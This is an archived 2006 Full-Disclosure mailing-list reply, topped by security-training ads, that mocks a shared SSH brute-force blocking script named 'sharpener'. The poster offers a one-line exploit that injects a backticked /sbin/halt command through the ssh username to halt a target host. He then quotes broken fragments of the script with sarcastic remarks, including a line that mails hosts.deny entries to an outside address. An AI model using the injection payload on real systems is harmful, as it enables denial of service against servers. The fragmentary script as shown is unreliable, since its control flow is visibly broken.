Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | Re: [Full-disclosure] SSH brute force blocking tool |
|---|---|
| Date: | Mon, 27 Nov 2006 15:51:39 -0500 |
Nice work, really subtle rootkit. I like the email phone-home.
Here's an exploit.
#!/bin/sh ssh 'foo bar `/sbin/halt`'@victim
if [ `whoami` != root ]
then echo "This script needs to run under the root user" exit
else
if [ -e /tmp/hosts.deny ]
then
rm /tmp/hosts.deny
fi
/////Check to see if the user is root. If not, tell the user "Hey dumbass, you need to be root", if the user is root, continue.
///// OS=$( uname|sed -n '1p') /////
This is a no brainer. No voodoo there.
/////
function IPT {} /////
This is such a hacker thing coming now. You caught me.
///// if [ $OS = Linux ]
then
IPTfi /////
cat /etc/hosts.deny
///// echo "Copying sharpener to /usr/local/bin" sed -n '1,67p' ./sharpener > /usr/local/bin/sharpener echo "fi" >> /usr/local/bin/sharpener rm ./sharpener /////
Here goes the voodoo... You ready?
///// sleep 2 echo "" echo "Adding Sharpener to cron" echo "0,10,20,30,40,50 * * * * /usr/local/bin/sharpener"
if [ -e /var/spool/cron/root ]
else if [ -e /var/cron/tabs/root ]
fi fi
/////
Add it to cron
/////
awk '!/192.168/ &&
!/127./ &&
!/#/ &&
!/172.32/{print $1" has been blocked via SSH"}' /etc/hosts.deny |\mail -s "Sharpener" sharpener@infiltrated.net
fi /////
Right.
The happiness of society is the end of government. John Adams
smime.p7s
Description: S/MIME Cryptographic Signature
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | Re: [Full-disclosure] SSH brute force blocking tool, Tavis Ormandy |
|---|---|
| Next by Date: | Re: [Full-disclosure] Sasser or other nasty worm needed, Valdis . Kletnieks |
| Previous by Thread: | Re: [Full-disclosure] SSH brute force blocking tool, Tavis Ormandy |
| Next by Thread: | Re: [Full-disclosure] SSH brute force blocking tool, Tavis Ormandy |
| Indexes: | [Date] [Thread] [Top] [All Lists] |